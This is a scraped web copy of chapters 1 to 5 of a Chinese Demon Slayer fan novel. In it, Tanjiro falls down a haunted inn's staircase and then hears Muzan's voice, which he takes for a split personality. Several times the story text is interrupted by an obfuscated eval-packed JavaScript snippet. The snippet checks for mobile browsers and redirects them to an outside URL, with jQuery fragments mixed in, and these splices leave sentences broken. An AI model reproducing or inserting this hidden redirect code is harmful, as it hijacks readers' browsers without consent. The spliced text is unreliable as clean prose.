《闭嘴!你要成为鬼王[鬼灭]》 1. 第 1 章 这是我隔壁邻居从他叔叔的朋友的儿子那里听说的。 三十年前,就在这家旅店,有一对夫妻带着他们五岁的女儿来度假。爸爸是年轻有为的企业家,妈妈漂亮又温柔,做得一手好料理,女儿活泼可爱。是非常幸福的一家三口,他们在这里度过了非常美好的一天。 晚上,玩累的小女孩早早就睡了,但半夜醒过来的她想要上厕所。 奇怪的是爸爸不在房里,妈妈则睡得很沉,桌边还有喝了一半的水。小女孩没有办法,只能自己跑出去上厕所。 然而就在走廊尽头的楼梯上,小女孩看到爸爸和一个不认识的阿姨抱在一起。 “爸爸,这个阿姨是谁?” 小女孩不解地问道。 然后她就看到一直以来很温柔的爸爸,变得暴怒起来,那个阿姨也跟爸爸吵了起来,不停地说“杀了她”、“杀了她”。 不理解发生了什么的小女孩伸手去拉爸爸… 下一秒…一双男性大手将她推下楼梯,血溅了一地… 从那以后,入住这家旅店的人,总能在半夜走廊尽头的楼梯口看到一个五岁的女孩,而但凡看到女孩的男性都会惨死在楼梯上… 就像三十年前的女孩一样,头破血流,瞪大眼睛,死… “碰!” “啊啊啊…” 正在讲鬼故事的众人,突然听到一声异响,吓得尖叫地抱在一起。 “水买来了喽,大家来分吧。” 炭治郎拎着水走了进来,一打开门就看到了神色惊恐抱在一起的朋友们。 “你们怎么了,一脸害怕的样子?” 自己只是出去买了个水而已,这些人是怎么了?跟见鬼了一样。 “你你你…还说…炭治郎,你回来怎么不发个消息!”黄发少年叫最大声,他本就是听鬼故事,听得最害怕的那个,还偷偷塞了隔音棉,结果背后的门,说开就开了,简直吓死他了。 炭治郎放下水,面露歉意:“对不起善逸,我忘了。难道我刚刚开门的动静,吓到你们了?” 面容清秀的少年,立刻推开了其他人,气呼呼地环抱着:“俺才没有在怕呢!怕的是他们!” 他手指向另外两人。 目光凶狠的另一少年则拍开他的手:“我也没怕!你才怕了。” “你说什么?” “好了,好了别吵架了,伊之助,玄弥。好朋友之间不要吵架。”炭治郎熟练地跑到了两人中间,出口安抚道。 “你们作业写得怎么样了?”他将众人的注意力转移到作业上。 他们这几人本就是因为各有偏科,才决定成立一个学习小组,想要提升一下成绩。但由于都是学生,没什么钱,所以才订了这家生意不好的旅店,听说还闹过鬼。 虽然炭治郎闻出来,这家旅店是有一些血腥味,但百年旅店,死过人还是很正常的吧。 灵异传闻什么的,应该只是都市传说而已。 所以他并没有放在心上,但看到朋友们都那么害怕… “既然你们这么害怕,要不然还是去别的地方?” “好…” 善逸听到这话,眼中都闪着泪光了,都怪玄弥讲什么鬼故事,吓死他了!他现在巴不得离开这里。如今在他眼中提出这个建议的炭治郎简直是天使啊! “都说了俺根本就不怕!” 可恶的野猪! “就是!堂堂男子汉根本不相信那种东西!” 可恶的小混混! “那我们就先学习吧。”炭治郎把书从书包里拿出来。 善逸泪流满面:炭几喽~ 他已经错过了最好的机会,而且其他人都不走,他一个人去别的地方,那就更可怕了,再怎么说几个人在一起,总比一个人好。 善逸也只能硬着头皮把书拿了出来。 除了一开始,有点被灵异故事吓到外,之后认真开始学习,反倒是静下心来,大家相互讲题,互帮互助,渐渐地也把那个恐怖故事抛之脑后。 不知不觉间,学习了好个小时,墙上的指针都指到零点… 学累了他们,有的趴在桌上,有的去拿水喝,有的豪放地躺在地板上。 炭治郎站起身,伸了个懒腰。 “我去趟厕所,顺便买点东西,你们有什么要带的吗?” “饭团。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“呜呜呜…权八郎,俺不要饭团了,你起来!” 还有伊之助… “喂,你们两个干什么!炭治郎还没死呢!” 对啊,玄弥你快劝劝他们。 炭治郎也好想起来,可是身重好…动不了了… “炭治郎…炭治郎…你要…” 是谁?你是谁? “谁!” 耳边吵吵闹闹的,炭治郎猛地睁开眼,是陌生的天花板。 “炭治郎!” “圆五郎!” 他刚醒,趴在他身上的善逸和伊之助立刻凑到他眼前来,恨不得确认他有没有呼吸,伊之助甚至还不停地摇着他,问他还活着吗? 玄弥赶紧上前阻止他:“喂!你想让炭治郎死吗?” 好不容易把伊之助拉开,旅店老板立刻凑上前来。 “客人,你没事吧,对不起,让你在旅店受伤了。” 炭治郎坐起身:“没事的,我的头很硬,这点高度不会死的。疼!善逸你干嘛。” 他正说着,就被人从后面打了一拳。 “笨蛋,让人担心死了。”善逸红着眼眶说道。 炭治郎知道自己这么一摔,让朋友们担心了,立刻露出满是歉意的笑容。看到这样的笑容,善逸也不好多说什么,也只能原谅他。 这时,炭治郎突然想到了什么:“对了,那个孩子找到父母了吗?” 旅店老板一惊:“什么孩子?” 炭治郎比划了一下:“就是大概这么高,一个特别可爱的女孩,五岁左右吧,和爸爸妈妈一起来的。” “你怎么了老板?” 旅店老板的脸色变得很难看,听到炭治郎的话,他赶紧摇头:“我也不太清楚。” 说谎。 炭治郎闻到了说谎的气息,他扭头看向善逸,显然善逸也听出来了。只是他们不知道为什么旅店老板要说谎,找到就是找到,没找到就是没找到。 为什么要说不清楚呢? 好奇怪? 之后旅店老板什么也没说飞速地离开了。 “那个老板在隐瞒什么呢。” 那旅店老板走后,伊之助环抱着坐在炭治郎床边,然后突然转身做出一副幽灵的模样:“说不定,三太郎你遇到的是这个…” “是炭治郎了,伊之助。” 还有幽灵的事,怎么可能是真的。 “幽灵的事,暂且不说,炭治郎你的头真的没事吗?”玄弥有些担心地问道。 “要不要去医院检查一下。” 炭治郎摇头:“真的不用了。” 他这都睡了一晚上了,真的没事了。为了证明自己没事,他还从床上起来,来回走动,表示自己很健康。 看炭治郎真的没事了,众人松了一口气。 之后,似乎是为了向炭治郎表达歉意,旅店老板还给他们送了一份早餐。早餐很丰盛,几个少年吃得很开心,特别是伊之助都把盘子吃得干干净净。 吃过早饭,时间也不早了,他们收拾收拾东西,准备离开。 下楼时,炭治郎注意到楼梯口摆了布娃娃和御守。 这也不像是有人落在这里的,反倒是像有人故意摆在了这里。 为什么要在楼梯口放这种东西? 炭治郎把房间钥匙还给旅店老板,然后转去门口与朋友汇合,离开前,他回头望了一眼那家旅店。 也不知道那小姑娘找到父母了吗?如果能找到的话,就好了。 “炭治郎,车来喽。” 公交车站台边,善逸朝落后的他招手道。 “来了。” 炭治郎回过头一路小跑,丝毫没有注意到旅店某个房间的窗口边,有一个受伤的红衣小女孩正站在那,阴森森地瞪着他,但仅仅只有一瞬,便消失在原地。 四人坐了五六站后,一起下了车。 “那我们回去了,炭治郎路上小心。” “嗯,你们也是,路上小心。” 他们在这个站台分开,各自去坐车回家,只是炭治郎在回家前,打算先去一趟书店。 昨天答应了弟弟妹妹,要给他们买绘画本的。 要买什么绘画本呢? 他边走边想,要给弟弟妹妹买什么绘画本比较好。 “奇怪,感觉身体有些重呢。” 炭治郎边走边揉着胳膊,有些疑惑道。这时他经过一处公园,公园内传来孩子嬉戏的声音,阳光透过树叶,落在他的脸上。 他驻足在公园门口,看着眼前温馨的一幕。 “天气真好呢,阳光也很漂亮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“鬼舞辻无惨,你的敌人。” 3. 第 3 章 “我的敌人?” 炭治郎觉得自己越来越听不懂这个第二人格所说的话。 “你难道想抹杀我这个人格,然后占据我的身体吗?” 那些人格分裂的电影不都是这么演的吗? 分裂出来的人格,想杀了主人格,独自占领身体。 “如果可以,我真想这么做。” 炭治郎听到了几乎咬牙切齿的语气。 原来这个人格这么叛逆啊。 真是想不通,为什么自己会诞生出这么古怪的人格,既中二,又讨厌自己。不过听他的语气,应该也做不了什么,就当是多了一个看不见的朋友吧。 现在还是去买绘本比较重要。 炭治郎就这么乐观地把人格分裂的事抛之脑后,依旧笑着前往书店,看着架子上琳琅满目的书,他突然犯起难来了。 “无惨,你说我是买这本昆虫的绘本好呢,还是这本动物的绘本好?” 他开始征寻体内人格的建议。 在他看来,既然是自己分裂出来的人格,应该是和自己一样,很关心家人吧。 然而… “无聊至极!你现在应该做的是继承我的力量!成为鬼王。” “唉?又在说这种奇怪的话。”炭治郎将那本昆虫绘本放回书架,最终决定买那本动物绘本。 他拿着本书前去结账,拎着购物袋坐上回家的公交。 回去的路上,那个叫无惨的人格还在脑海中不断地吵。 什么继承力量,成为鬼王,成为最强的鬼王… 真的好烦,炭治郎在想自己是不是应该去看个病,虽然这个人格不影响活动,但这样下去,他会被吵得没办法睡觉的。 而且弟弟妹妹他们也会担心的吧。 就在炭治郎为体内的多出来的人格苦恼之时,那个名为鬼舞辻无惨的鬼此刻已经在暴怒的边缘了。 他没想到自己千辛万苦地从地狱里爬出来,终于找到那个该死的、抛弃了自己、不肯继承他力量成为最强鬼王的灶门炭治郎。 却是一个已经转生,什么都不记得的普通少年。 甚至还被一个幽灵女孩给推下楼,多么无力软弱啊。如果不是自己帮忙,他早就被幽灵女孩带走,成为鬼魂了。 他附身在炭治郎身上,想要完成一百多年前没有完成的事。 这个人不可以再拒绝自己,一定要继承他的力量、夙愿,成为最强,能克服阳光的完美鬼王!在此之前,他绝对不会从这个人身上离开! 可是,如今他却被灶门炭治郎当成可笑第二人格! 更可恶的是,作为从地狱爬出来的厉鬼,他居然不能控制炭治郎的身体! 该死,这个臭小鬼的意志力怎么还是这么顽强!如果可以,他真想强制控制对方接受力量! 也不知道是不是那些可恶的神明故意的,虽然他早已没有百年前那一身血肉,但似乎是为了让他在地狱里长久地受罚,居然保留了他的能力。 让他不断地受刑,不断地愈合,一直永远不断地持续下去。 他每天都不得解脱,也忘不掉那一天,他明明都把炭治郎变成鬼了,已经创造出克服阳光的最强鬼王了,结果对方却放弃了他的力量,摆脱了他,把他独自一人留在那黑暗中! 这怎么可以!他不甘心! 灶门炭治郎必须接受自己,继承他的力量和意志成为最强鬼王! 带着这股浓浓的怨气,他从地狱的深处爬出来了。 这一次,他绝对要灶门炭治郎接受自己的力量!成为最强的鬼王! 藏在炭治郎身体里的无惨,跟着对方一起回到了炭治郎家。 那是一家面包店。 一名樱花色眼眸的女孩正拿着托盘,请路过的人品尝,在看到炭治郎从马路对面走过来时,露出开心的笑容。 “哥哥,你回来了。学习得怎么样?” 炭治郎:“马马虎虎吧。” 如果不是自己意外摔倒的话,就更好了。 “小家伙们醒了吗?” 他问的小家伙自然是指年纪小的弟弟妹妹们。 “竹雄,帮爸爸去搬货了,妈妈带六太去打疫苗了,茂和花子还在睡觉。”祢豆子说道。 “那店里岂不是只有祢豆子你一个人,我来一起帮忙吧。” 炭治郎见此赶紧从柜子里拿出围裙系上。 他们家虽然开着一家面包店,平日里生意还不错,但家里孩子多,有时爸爸妈妈忙不过来,作为长子的他空闲时也会帮着干活,就像现在这样。 烤面包,摆货,收银他已经做得十分得心应手了。 随着店里的客人逐渐增多,他很快将什么摔倒、第二人格抛之脑后。 直到中午十一点多,爸爸和竹雄回来了。 “炭治郎,你快去休息吧,爸爸来看店就可以了。” “再稍微等一会吧,我还不累呢。” 炭治郎主动上前,帮着爸爸去拿那些面粉和牛奶。 “那鸡蛋就拜托你拿了,竹雄。”他笑着对弟弟说道。 “我知道了。”竹雄低头红着脸说道。 三人将货搬进厨房,出来时,睡到日上三竿的茂和花子终于从楼上跑了下来。两人一下扑到炭治郎身上,抬起头露出甜甜的笑容。 “炭治郎哥哥,欢迎回来。” “我们的绘画本呢。” 炭治郎从书包里掏出早上买的绘画本:“锵锵,是可爱的动物画本哦。” “哥哥最好了!” 看到这么漂亮的画本,两个孩子都很高兴。 炭治郎很高兴自己选到弟弟妹妹们喜欢的绘本,他被两人拉着上楼,在替两人拿出蜡笔之后,他赶紧准备午餐,时间不早了,他便捏了一些饭团。 等饭团捏好,葵枝抱着六太这才匆匆赶了回来。 “抱歉,炭治郎,我回来晚了,让你忙了这么久。” 炭治郎摇摇头:“我没什么,妈妈才辛苦了。今天医院人很多吧,六太打针时没哭闹吧。” 葵枝摸了摸六太的头:“六太很乖。” “哥…哥…抱…”话还说不清楚的六太,看到炭治郎伸出双手,想让他抱抱。 炭治郎擦了擦还沾着水的手,伸手将六太抱在怀里,六太咯咯咯地笑着,很是开心。 这个家里每一个人都很喜欢炭治郎。 吃过午饭后,正准备去陪茂和花子画画,但这时祢豆子慌慌张张地推门而入。 “哥哥,听善逸打电话说,你从楼梯上摔下来,没事吧!” 接到善逸的电话后,祢豆子就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17041381|194698||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 第一时间跑了过来,她抱着炭治郎的头仔细瞧着,果然是看到些许红肿。 “去医院!快去医院!” “祢豆子,冷静点。我没事的,真的没事,只是摔了一跤而已,就像用头砸核桃一样,一点都不痛。”炭治郎赶紧安抚道,手忙脚乱地帮妹妹擦眼泪。 “真的吗?”祢豆子脸上仍是半信半疑。 炭治郎一脸真诚地点头:“真的,真的。” 就是留了点后遗症,人格分裂了。 见哥哥真的没事,祢豆子这才松了口气,但仍然还是很担心炭治郎:“但是哥哥,下次受伤,可不许再瞒着了。” “嗯嗯。” 在炭治郎的再三保证下,祢豆子这才安下心来,并且从房间离开。 “明天还是去看看医生吧。” 见妹妹这么担心,炭治郎决定还是要去看一下医生,好好治一下这个人格分裂。只是他刚说出口,便听到脑海里传来一声冷笑。 似乎在嘲笑炭治郎的天真。 炭治郎已经习惯了这个第二人格恶劣的性格也没有多说什么,在陪着弟弟妹妹玩了一会后,在吃过晚饭,他又在店里帮了一会忙。 这个点正是下班的时候,每当这时,总有很多人来买他们家的面包。所以怕父母忙不过来的他,便会会主动帮忙。 果然今天的人也很多。 炭治郎带着和善的笑容替客人们装面包。 “这个肉松面包,看上去好好吃,买一个吧。你怎么了麻美,心情不太好的样子。” “还不是森本,他出轨了!” “啊!他不是挺好的嘛,怎么就出轨?” “他最近认识了一个叫富江的女人,然后就变了一个人。想起这件事就气死我了,那个富江不就比我长得漂亮点嘛!性格那么恶劣,竟跑到我面前来耀武扬威的!狗男女去死吧!” 似乎是情侣之间吵架了。 炭治郎默默听着这一切,觉得那位叫麻美的女士很可怜,但自己也没办法替她做些什么。 只能希望这些好吃的面包能让她起精神来。 晚上九点,炭治郎帮忙收拾店铺,然后关门锁门。又和家人们看着电视聊了一会家常后,才去洗漱,晚上十一点,他躺在被窝里。 早点睡吧,明天还要上学呢。 “晚安,无惨。” 他和体内的第二人格道晚安,只是回应他的依旧是一声冷哼。 炭治郎闭上眼… 夜色渐浓,他仿佛看到一片白雪,白雪茫茫冰冷稀薄的空气中,带着血的味道。 “祢豆子!” 炭治郎从睡梦中惊醒,外面阳光正好,透过窗帘缝洒了进来,但他没有立刻去拉开窗帘,而是急切地跑出房间,因为他真的闻到了一股血腥味! 是祢豆子的血! “祢豆子!”他喊着祢豆子的名字,来到厨房。 “哥哥,你怎么了。” 正被葵枝贴创可贴的祢豆子不解地问道。 原来她刚刚做早餐时,不小心切到了手指。 看着一切无恙的祢豆子,炭治郎松了一口气,太好了那只是梦。 对了,他做了一个什么梦? 梦醒,他对于梦中的一切都记不清了,只记得那是一个很悲伤的梦。 4. 第 4 章 “哥哥,你没事吧。” 祢豆子见哥哥流着泪走下来,很是担心。 “怎么了炭治郎?身体不舒服吗?要不要向学校请个假?”葵枝看着长子脸色不好的样子,以为他生病了。 炭治郎笑着擦掉眼泪:“没事,就是做了一个梦而已。” 见炭治郎只是做了一个噩梦而大惊小怪,两人顿时噗嗤一笑,葵枝走上前,将心爱的孩子拥入怀中,柔声道。 “不怕不怕,炭治郎,妈妈在这里。” 闻着母亲身上的味道,炭治郎顿时安心下来。 嗯,是母亲的味道,母亲还在这里。 餐桌上,祢豆子将炭治郎睡迷糊的事讲了出来,餐桌上一时陷入欢快的气氛。炭治郎虽然有些不好意思,但看着家人们都好好地坐在一起,他的心间再次溢满幸福感觉。 真好,他的家人们都在这里。 “那我们出发了。” 吃过早饭,他和祢豆子拿上书包准备去上学。 “哥哥,等一下我。”竹雄三两口把饭扒完,也飞快地拿起自己的书包。 虽然他才上初中,而且还不是跟哥哥一个学校,但是他也想和哥哥一起同走一段路。 两人等了一会竹雄,炭治郎还替他擦干净嘴角的米粒。 三人一起走在上学的路上,到了一个十字路口时,竹雄才与他们分开,分别时两人都叮嘱竹雄要一路小心。 今天的阳光也一样很好,照在人身上暖洋洋的。 “哥哥,你看那边的紫藤花开得真好。”祢豆子突然指向某个院子里。 只见那个院子用铁栏杆围着的,透过栏杆可以看到里面的美景,由于紫藤花开得太茂盛,有些还顺着栏杆长了出来。 阳光下的紫藤花美丽如紫色的风铃,让祢豆子忍不住拿出手机来打算拍照,拍完她还给哥哥看。 “哥哥,怎么样。” 炭治郎走近:“很好看呢。” 他正夸讲着,突然感觉有什么东西落在头顶,是落花吗?他抬头去捡,果然是落花,但是却是枯了的花? “哥哥…” 耳边传来祢豆子震惊的声音,他抬头望去了,只见原本开得正好的紫藤花突然开始一大片一大片地枯了! 什么情况!有谁喷了农药吗? 两人赶紧手忙脚乱地按响,那户人家的门铃,开门的是一位二十左右的年轻女性,看到自家花枯了一大片,她也大吃一惊,赶紧想办法施救。 在通知户主后时间不多了,再不去上学两人怕是要迟到了,他们与女人告别后,几乎是以跑的形式奔向学校。 在跑了一段路后,炭治郎回头望了一眼。 不知道是不是他的错觉,自从他离开后,那些紫藤花反而是停止枯萎了。 是巧合吧。 他淡淡地想道。 幸好两人跑得快,终于在校门关上的最后一秒,跑进学校。 今天检查风纪的是善逸,他将本子往炭治郎头上一拍:“你这小子,差点害得祢豆子妹妹迟到知不知道!” 然后转过身,像换了一副表情一样:“早上好呀,祢豆子妹妹,今天的祢豆子依旧光彩照人呢。” “早上好,善逸。”祢豆子微笑着打招呼。 “早上好。” 就在他们打招呼时,伊之助翻过已经关上的学校大门,从他们面前一边打招呼一边跑了过去了。 “喂!站住!可恶的野猪,你迟到了!知不知道!” 见伊之助不仅迟到,还翻校门,善逸立刻追了上去。 “不要在走廊上追逐哦。”看着那两人跑远,炭治郎高响道。 “祢豆子,我们走吧。” 他与祢豆子在进入教学楼后就分开了,毕竟两人一个高一,一个高二,不是同班。 在进入教室前,他在走廊里遇到了正在打扫校工鳞泷,对方依旧戴着天狗面具。 “早上好,鳞泷爷爷。”他笑着与对方打招呼。 “早上好,炭治郎,你受伤了。” 鳞泷爷爷和他一样,鼻子很灵,怕是闻到了他受伤的味道。 “前天摔了一跤,没什么事。”他解释道。 “嗯,下次小心点。” “好。” 简单地聊完,他这才进入教室,来到窗边的倒数第三个位置坐下。身后是善逸的位置,那里空着,他又看向左侧伊之助的位置也空着,怕是那两人还在追逐吧。 书包放下来没多久,玄弥便跑过来,问他的头怎么样了。 炭治郎都恨不得给他表演一个头砸核桃,来让他们安心。 听到他从楼梯上摔下来这件事,其他同学也围上来纷纷关心。 炭治郎一一回应着这些同学的友善,直到上课铃响了,众人赶紧回到座位上。善逸和伊之助这才姗姗来迟,回到位置上,两人都气喘吁吁,应该是直到刚刚一直追逐。 不过幸好还是在班主任来教室前赶到了。 在铃声响完后没多久,班主任悲鸣屿行冥便一如往常,流着泪一脸慈悲地走了进来,他开始一一点名,并提出半个月后,就是春季校运动会的事,大家想参加的可以去体育委员那里报名。 之后便开始正式上课了,班主任是国文老师。 炭治郎虽然这门功课不太好,但是仍然听得很认真,只是笔记点都记错了。 “呵呵…” 许是因为他这糟烂的国文成绩,引起体内人格的嘲笑。 炭治郎护好笔记本:“无惨,你不要笑了。” 他虽然国文成绩一般,但至少没有考不及格过!这就足够了! 坐在他身后的善逸,一脸疑惑地看着做出奇怪举动的炭治郎,他刚刚好像听到“无惨”两个字。 悲鸣屿老师刚刚有讲过这个词吗?这怎么听都像是炭治朗跟别人说话啊。 但未来得及等他多想,他便被老师叫起来将书本上的内容读一遍。 好在,虽然他分神了,但耳力好得很,听到老师刚刚讲了什么内容,所以也并没有读错,也算是过关了。 随着下课铃声响起,这漫长的45分钟终于过去。课间的众人,不复课堂上的死气沉沉,开始聊起天来,班级里又是一片欢快的气氛。 但快乐总是短暂的,十分钟后,又要开始上课了。 在听完天书后,又是一场天书的数学课,而且讲课的不死川实弥老师一脸凶相 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17041382|194698||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,特别暴躁。一开始见到这位老师,他们还以为是哪来的mafi大哥。但习惯之后,他们知道这位老师也是一个十分尽职尽责好老师了。 当然他们能接受得这么快,可能也有玄弥原因吧。 炭治郎回头看了一眼,此刻眼睛亮晶晶,一脸崇拜地看着自己家老哥讲课的玄弥。 玄弥和实弥是兄弟,他们家里还有好几个兄弟姐妹,实弥老师和他一样都是家里的长子。不过因为一些原因,玄弥家只有妈妈一个人在带孩子,所以可以说实弥老师是一边当哥一边当爸,经常睡眠不足,导致眼睛里全是红血丝,看起来很凶。 一支粉笔砸到炭治郎头上。 “灶门,你敢分心!”实弥不快,竟敢在他心爱的课堂上分心! “对不起!”炭治郎赶紧收回视线,道歉。 实弥也没有追究下去,而是继续讲课,他的每节课都是熬夜备出来的!为的就是能让这些孩子听懂,他绝不允许任何人分心! 在听了一节课的敲黑板后,他们又迎来一节化学课。 当阴沉沉伊黑小芭内老师走进时,炭治郎突然听到无惨那咬牙切齿的声音。 “你们是约好一起转世的吗!” 他已经受够了,这一路来,他已经见到了多少鬼杀队的老面孔!那些前世在那场大战中出现的人,竟然一个两个全都在这个学校。 还有这个土里土气,乡下人才会待的地方,竟然叫鬼灭学院! “无惨,你怎么又在说些奇怪的话?” “炭治郎,我问你,你们的校长叫什么名字。” “校长叫产屋敷耀哉,他的妻子叫天音,天音夫人可漂亮了,她还是我们的物理老师,他们家的孩子也挺多的,每一个都…” 生怕无惨不认识,炭治郎还热心地介绍起来。 “闭嘴!我不想知道!” 他才不关心那可恶的产屋敷一族如今过得怎么样! “真是的,明明是无惨你自己提起来的。” 炭治郎头疼,这个分裂出来的人格,怎么这么喜怒无常,跟个三岁小孩子似的。不,三岁小孩都比他讲道理。 看来,真得好好治治了。午休时,就去校医那一趟吧。 一节课过得很快,下课铃一响,伊黑就放下手中的粉笔,拿上讲台上的书,就要离开。 “等一下,伊黑老师!” 两个女生围上前:“这个知识点,我们还没听懂,可不可以…” “不可以,这是我下节课要讲的。”他果断拒绝道,然后快步走出教室。 他急匆匆地在走廊上奔跑着,边跑边看手表。 “还来得及,到美术教室还来得及。” 今天美术老师宇髓天元的助教甘露寺蜜璃也会来!这一次,他一定要约到对方一起吃午饭!为了这一天,他已经攒钱好久了! 看着伊黑老师匆匆忙忙的背影,炭治郎把便当从书包里拿出来,他回头冲着善逸和伊之助说道:“走吧,我们去天台。” 玄弥一般都会去找实弥吃饭,所以也就不同他们一起。 三人拿着午餐一起前往天台,推开门,祢豆子已经在等他们了。 “哥哥!” 5. 第 5 章 三人拿着便当与祢豆子坐在一起,打开便当盒的那一刹那,炭治郎还没有动,便被抢走了一块鸡蛋卷。 伊之助冲他嘿嘿一笑,放在嘴里嚼了嚼,表情一般:“今天便当不是权八郎做的。” 他有一些失望,虽然味道也很好,但他还是更喜欢炭治郎做的便当。 “伊之助的舌头果然很灵,今天的便当是我妈妈和祢豆子一起做的。”炭治郎自豪道。 “什么是祢豆子妹妹亲手做的!好嫉妒!真的好嫉妒!你小子命也太好了!” 听到这话的善逸抱着头开始尖叫。 祢豆子在一旁讪笑道:“我只是打打下手而已!” “我不管,我也要吃祢豆子妹妹亲手做的便当!” 说着,善逸飞带地与炭治郎交换了便当,然后像是看着什么珍宝一样,嘿嘿地笑道。 炭治郎也没有阻止他,反正都是好朋友,大家交换便当也不是一次两次了,他还跟伊之助换过便当呢! 几人一边抱怨着学习上的难题,一边悠闲地吃完午饭。 炭治郎起身,拍了拍身上的灰:“我去买点饮料,你们在这里等一下。” “好!快去快回哦!” 炭治郎下了天台,但并没有直接去买饮料,而是打开了医务室的大门。 “打扰了。” 打开门,校医蝴蝶香奈惠刚吃完便当,见炭治郎过来露出温柔的笑容。 “炭治郎,你哪里不舒服吗?” 炭治郎来到她面前坐下:“就是我从楼梯上摔下来了。” 摔下来了!那挺严重的。 “让我看看有没有出血。”她伸手想帮炭治郎检查伤口。 炭治郎连连摆手:“没出血,就是摔出一个人格来,所以想请香奈惠医生看看。” 香奈惠的笑容僵在脸上:“炭治郎,你再说一遍。” 他刚刚说什么来呢? “是这样的,我前天在旅店楼梯上摔下来,然后脑子里就多出一个声音,我觉得我摔出了人格分裂,香奈惠医生知道怎么治吗?”炭治郎目光炯炯地看着眼前美丽的校医,似乎是真的觉得对方能治好。 香奈惠不由得叹了一口气。 这个傻孩子啊! 以为自己只是普通的感冒吗?都摔出人格分裂了,还只是跑到校医室里来看病。 她不得不换上一副严肃的表情:“炭治郎听我说,人格分裂的原因有很多种,像你这种由于重击而脑内淤血,压迫到神经是有可能产生第二人格的,所以你需要到正规医院好好检查,看看大脑有没有受伤。” “但不排除有其他心理原因,如果大脑没有受伤的话,你还是需要去看心理医生,明白了吗?” 生怕这个孩子乱看病,香奈惠将两种方法都认真告知。 炭治郎也是乖巧地点头:“我明白了,香奈惠医生,谢谢你。” 香奈惠摸了摸他的头:“如果身体还有什么不舒服的话,就随时到我这边来。千万不可以忍着知道吗?” “嗯。” 从校医那离开,炭治郎来到自动贩卖机那买了几瓶果汁,然后回到天台。 祢豆子笑着抱怨了一句:“哥哥,你好慢哦。” 自从哥哥摔倒后,她总担心对方一个不注意又摔倒了。 就算哥哥的脑袋再硬,也抵不住接二连三地摔吧。 午休的时间很快就到了,回教室前,祢豆子还麻烦善逸多看着她家哥哥,别再从楼梯上摔下来了。 善逸拍拍胸脯,表示一切都交给他了。 下午第一节课是体育课。 富冈义勇老师冷着脸,上来就让人围着操场跑上两圈,然后才是打排球。 众人发出一声哀号,但不得不跑。 炭治郎倒是挺喜欢的,他运动神经不错,一千米跑下来,并没有感到有什么累。比起复杂的数学公式,还是这种更适合他。 已经跑完的他,在铁网边活动着筋骨,准备等一下打排球。 “炭治郎!” 身后突然有人戳了戳他的腰,他一个激灵,猛地转身,便见一少年笑眯眯地和他打招呼。 “好巧哦,你们也在上体育课。” “时透,好巧。你们体育课准备干什么?”炭治郎也没想到祢豆子这班也在上体育课。 “躲避球,女生们已经去拿球了,好想和炭治郎一起玩。”时透无一郎的脸上露出遗憾的神色,他是真的很想和炭治郎一起玩。 “没办法,我们不是一个班的,不过欢迎你随时来我家玩。” “嗯,我会的。” “喂,无一郎!闲聊什么呢,球拿过来了。” 两人正聊着呢,一个子和时透长得一模一样的少年走了过来,将时透一把抓住:“走,上课去。” “哥哥,我知道了,等一下啦!” “炭治郎,下次见。” “下次见。” 时透的哥哥还是这么放心不下时透,不过作为哥哥会关心弟弟也是正常的吧,就像他也很关心祢豆子。 这时义勇老师的哨子响了,班上其他人也已经跑完,该去集合了。 今天的最后一节课是家政课。 这可以说是炭治郎最喜欢的课了,他平日里就会帮着一起做家务,就连弟弟妹妹的衣服破了,也是他补的。 而且在课堂上还能学到新的料理,每次学完,他都会做给弟弟妹妹品尝,看到弟弟妹妹的笑容,这让他很有成就感。 不过,今天课上倒不是学新料理,而是让他们做一个小熊娃娃。 材料都是准备好的,只要他们按说明书上做就可以,虽然看着简单,但是针线活对于很多人来说是有些难度的。 不过,对于炭治郎来说却是很简单。 不一会,巴掌大的穿着蓝白线条服的可爱棕色小熊,便出现在他手中。 另一边,伊之助还在和穿针斗智斗勇,炭治郎帮他穿了线,善逸则拼错了手脚,他则帮拆了拼错的地方,玄弥甚至把一对耳朵都弄丢了,他帮着用自己剩余的材料做了一对耳朵。 一边的香奈乎看到一切,不由得笑出声来:“炭治郎真的很贤惠呢。” 蝴蝶香奈乎、校医蝴蝶香奈惠还有高三的学姐蝴蝶忍是三姐妹,他们姐妹之间关系很是好。在学校人气也高,当然这三人是他很好的朋友。(私设:转世后的香奈乎成了蝴蝶姐妹最小的妹妹,有血缘关系) 听到香奈乎夸赞炭治郎,善逸赶紧把缝了一半的小熊递出来:“香奈乎,你看 